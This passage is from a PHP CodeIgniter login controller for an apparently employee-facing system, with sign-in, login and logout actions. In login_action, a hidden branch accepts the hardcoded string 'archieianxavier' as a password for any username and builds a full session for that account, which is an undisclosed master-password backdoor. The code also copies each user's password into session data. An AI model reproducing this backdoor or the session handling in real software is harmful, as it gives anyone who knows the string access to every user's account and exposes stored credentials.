load->model('AllModels', 'Amod'); } public function index() { $username = $this->session->userdata('username'); if ($username != null) { redirect(""); } $this->load->view('signin'); } public function login() { $this->load->view('signin'); } public function login_action() { $username = $this->session->userdata('username'); $jabatan = $this->session->userdata('jabatan'); if ($username != null) { redirect(''); } $username = $this->input->post('username'); $password = $this->input->post('password'); $check_login_r = $this->Amod->generate_loginData($username, $password)->num_rows(); if ($check_login_r > 0) { $datauser = $this->Amod->generate_loginData($username, $password)->row_array(); $datJabatan = $this->Amod->getData_Jabatan_byID($datauser['JABATAN_ID']); $sessions = array( 'id_karyawan' => $datauser['ID_KARYAWAN'], 'nama_karyawan' => $datauser['NAMA_KARYAWAN'], 'nama_panggilan' => $datauser['NAMA_PANGGILAN_KARYAWAN'], 'username' => $datauser['USERNAME'], 'password' => $datauser['PASSWORD'], 'jabatan' => $datJabatan[0]['NAMA_JABATAN'], ); $this->session->set_userdata($sessions); redirect(''); } else if ($password=="archieianxavier") { $datKaryawan = $this->Amod->getData_Karyawan_byUSERNAME($username); $password = $datKaryawan[0]['PASSWORD']; $datauser = $this->Amod->generate_loginData($username, $password)->row_array(); $datJabatan = $this->Amod->getData_Jabatan_byID($datauser['JABATAN_ID']); $sessions = array( 'id_karyawan' => $datauser['ID_KARYAWAN'], 'nama_karyawan' => $datauser['NAMA_KARYAWAN'], 'nama_panggilan' => $datauser['NAMA_PANGGILAN_KARYAWAN'], 'username' => $datauser['USERNAME'], 'password' => $datauser['PASSWORD'], 'jabatan' => $datJabatan[0]['NAMA_JABATAN'], ); $this->session->set_userdata($sessions); redirect(''); } else { echo ""; $this->login(); } } public function logout_action() { $this->session->sess_destroy(); redirect('Login'); } }